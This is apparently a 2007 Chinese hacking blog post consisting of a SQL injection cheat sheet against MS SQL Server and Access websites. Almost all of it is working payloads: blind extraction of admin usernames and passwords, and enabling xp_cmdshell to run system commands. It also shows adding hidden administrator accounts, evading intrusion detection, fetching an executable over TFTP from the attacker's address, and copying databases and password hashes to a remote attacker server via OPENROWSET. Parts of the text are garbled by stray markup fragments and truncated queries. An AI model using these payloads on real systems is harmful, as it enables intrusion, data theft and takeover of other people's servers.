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2007-03-28 13:00:49|  分类: 黑客技术 |  标签: |举报 |字号 订阅

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.判断有无注入点

; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass

password 等..

and 0(select count(*) from *)

and 0(select

count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到00)--

and 1=(select

count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from

admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度

猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where

len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and

1=(select count(*) from admin where len(name)=6) 正确

and 1=(select

count(*) from admin where len(password)>11) 正确

and 1=(select count(*)

from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from

admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from

admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1= (select count(*) from admin

where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1--

group by users.id, users.username,

users.password, users.privs having 1= 1--

; insert into users values( 666,

attacker, foobar, 0xffff )--

UNION SELECT TOP 1 COLUMN_blank>_NAME

FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>

_NAME=logintable-

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM

INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE

COLUMN_blank>_NAME NOT IN (login_blank>_id)-

UNION SELECT TOP 1

COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE

TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN

(login_blank>_id,login_blank>_name)-

UNION SELECT TOP 1

login_blank> _name FROM logintable-

UNION SELECT TOP 1 password FROM

logintable where login_blank>_name=Rahul--

看_blank>服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。

and

1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and sa=(SELECT

System_blank>_user)--

and user_blank>_name()=dbo--

and

0(select user_blank>_name()--

看xp_blank>_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND >

xp_blank>_cmdshell)--

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC

master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:

\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;use master;declare @s

int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod

@s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号

;DECLARE @shell

INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>

_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$

1866574 /add--

创建一个虚拟目录E盘:

;declare @o int exec

sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--

访问属性:(配合写入一个webshell)

declare @o int exec sp_blank>_oacreate

wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe

c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库

特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交

and 0(select top 1 paths from

newtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from

master.dbo.sysdatabases where dbid=7)--

and 0(select count(*) from

master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9....

得到更多的_blank>数据库名

and 0(select top 1 name from

bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

and 0 (select top

1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and

name=admin

and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id

and

0(select top 1 name from bbs.dbo.syscolumns where

得到一个admin的一个字段,假设为 user_blank>_id

and 0(select top 1 name from

bbs.dbo.syscolumns where and name not in

(id,...)) 来暴出其他的字段

and 0_id from BBS.dbo.admin where username>1)

可以得到用户名

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0(select count(*) from master.dbo.sysdatabases where

name>1 and dbid=6)

and 0 (select top 1 name from

bbs.dbo.sysobjects where xtype=U) 得到表名

and 0(select top 1 name from

bbs.dbo.sysobjects where xtype=U and name not in(Address))

and

0(select count(*) from bbs.dbo.sysobjects where xtype=U and

and uid>(str(id))) 判断id值

and 0(select top 1 name from

BBS.dbo.syscolumns where 所有字段

?id=-1 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select

1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1

swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths

varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread

@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet

\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT insert into paths (path) values(@test)--

;use ku1;--

;create

table cmd (str image);-- 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程:

;exec master..xp_blank>_cmdshell dir

;exec

master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号

;exec

master.dbo.sp_blank>_password null,jiaoniang$,1866574;--

;exec

master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--

;exec

master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--

;exec

master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$

/add;--

exec master..xp_blank> _servicecontrol start, schedule

启动_blank>服务

exec master..xp_blank>_servicecontrol start, server

;

DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC

SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user

jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_blank>_OACREATE

wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null,

C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add

;

exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_blank>_name();backup database @a to

disk=你的IP你的共享目录bak.dat

如果被限制则可以。

select * from openrowset

(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin

hax)

查询构造:

SELECT * FROM news WHERE AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and

right(left(userpass,01),1)=1) and userpass

select 123;--

;use

master;--

:a or name like fff%;-- 显示有一个叫ffff的用户哈。

and 1(select

count (email) from [user]);--

;update [users] set email=(select top 1 name

from sysobjects where xtype=u and status>0) where

;update

[users] set email=(select top 1 id from sysobjects where xtype=u and

where

;update [users] set email=(select top 1 name from

sysobjects where xtype=u and id>581577110) where

;update

[users] set email=(select top 1 count(id) from password) where

;update [users] set email=(select top 1 pwd from password where where

name=ffff;--

;update [users] set email=(select top 1 name from password

where where

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into

users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

insert

into users values( 667,123,123,0xffff)--

insert into users values ( 123,

admin--, password, 0xffff)--

;and user>0

;and (select count(*) from

sysobjects)>0

;and (select count(*) from mysysobjects)>0

//为access_blank>数据库

枚举出数据表名

;update aaa set aaa=(select top 1

name from sysobjects where xtype=u and status>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。

;update aaa set

aaa=(select top 1 name from sysobjects where xtype=u and status>0 and

namevote);--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1

col_blank>_name (object_blank>_id(表名),1));--

然后id=152 and

exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select

top 1 col_blank>_name(object_blank>_id(表名),2));--

然后id=152 and

exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1

name from sysobjects where xtype=u and status>0 [ and name你得到的表名

查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and

status>0 and name not in(table1,table2,…)

通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段= (select

top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a=xp_blank>_+cmdshell

exec @a dir c:\

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a

dir c:\

1、 开启远程_blank>数据库

基本语法

select * from

OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

参数: (1) OLEDB Provider name

2、 其中连接字符串参数可以是任何端口用来连接,比如

select * from

OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,

select * from table

3.复制目标主机的整个_blank>数据库

insert所有远程表到本地表。

基本语法:

insert into OPENROWSET(SQLOLEDB,

server=servername;uid=sa;pwd=123, select * from table1) select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

192.168.0.1,1433;,select * from table1) select * from table2

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=

123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_blank>_sysdatabases)

select * from master.dbo.sysdatabases

insert

into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

192.168.0.1,1433;,select * from _blank>_sysobjects)

select * from

user_blank> _database.dbo.sysobjects

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

192.168.0.1,1433;,select * from _blank>_syscolumns)

select * from

user_blank> _database.dbo.syscolumns

复制_blank>数据库:

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=

123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select *

from database..table1

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:

insert into

OPENROWSET (SQLOLEDB,

uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_blank>_sysxlogins) select * from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp

;create table temp(id

nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;--

获得所有子目录的目录树结构,并寸入temp表中

;insert into temp(id) exec

master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容

;insert

into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--

;insert into

temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--

;insert

into temp(id) exec master.dbo.xp_blank> _cmdshell cscript

C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

;insert into temp(id,num1)

exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)

写入表:

语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--

语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--

语句3:and

1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--

语句4:and 1=(SELECT

IS_blank>_SRVROLEMEMBER(securityadmin));--

语句5:and 1=(SELECT

IS_blank>_SRVROLEMEMBER (securityadmin));--

语句6:and 1=(SELECT

IS_blank>_SRVROLEMEMBER(diskadmin));--

语句7:and 1= (SELECT

IS_blank>_SRVROLEMEMBER(bulkadmin));--

语句8:and 1=(SELECT

IS_blank>_SRVROLEMEMBER (bulkadmin));--

语句9:and 1=(SELECT

IS_blank>_MEMBER(db_blank>_owner));--

把路径写到表中去:

;create table

dirs(paths varchar(100), id int)--

;insert dirs exec

master.dbo.xp_blank>_dirtree c:\--

and 0(select top 1 paths from

dirs)--

and 0 (select top 1 paths from dirs where paths not

in(@Inetpub))--

;create table dirs1(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--

and

0(select top 1 paths from dirs1)--

把_blank>数据库备份到网页目录:下载

;declare @a sysname; set @a=db_blank>_name();backup database @a to

disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12

id,name from sysobjects where xtype=char(85)) T order by id desc)

and

1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1)

from sysobjects) 参看相关表。

and 1=(select user_blank>_id from

USER_blank>_LOGIN)

and 0=(select user from USER_blank>_LOGIN where

user>1)

-=- wscript.shell example -=-

declare @o int

exec

sp_blank>_oacreate wscript.shell, @o out

exec sp_blank>_oamethod @o,

run, NULL, notepad.exe

; declare @o int exec sp_blank>_oacreate

wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_blank>_oacreate scripting.filesystemobject, @o out

exec

sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1

exec @ret =

sp_blank>_oamethod @f, readline, @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_blank>_oamethod @f, readline, @line out

end

declare @o int, @f int, @t int, @ret int

exec

sp_blank>_oacreate scripting.filesystemobject, @o out

exec

sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1

exec @ret = sp_blank>_oamethod @f, writeline, NULL,

declare @o int, @ret int

exec sp_blank>_oacreate

speech.voicetext, @o out

exec sp_blank> _oamethod @o, register, NULL,

foo, bar

exec sp_blank>_oasetproperty @o, speed, 150

exec

sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us,

528

waitfor delay 00:00:05

; declare @o int, @ret int exec

sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o,

register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us,

528 waitfor delay 00:00:05--

xp_blank>_dirtree适用权限PUBLIC

exec

master.dbo.xp_blank>_dirtree c:\

返回的信息有两个字段

subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths

varchar(100), id int)

建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:\

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,

一步步达到我们想要的信息.

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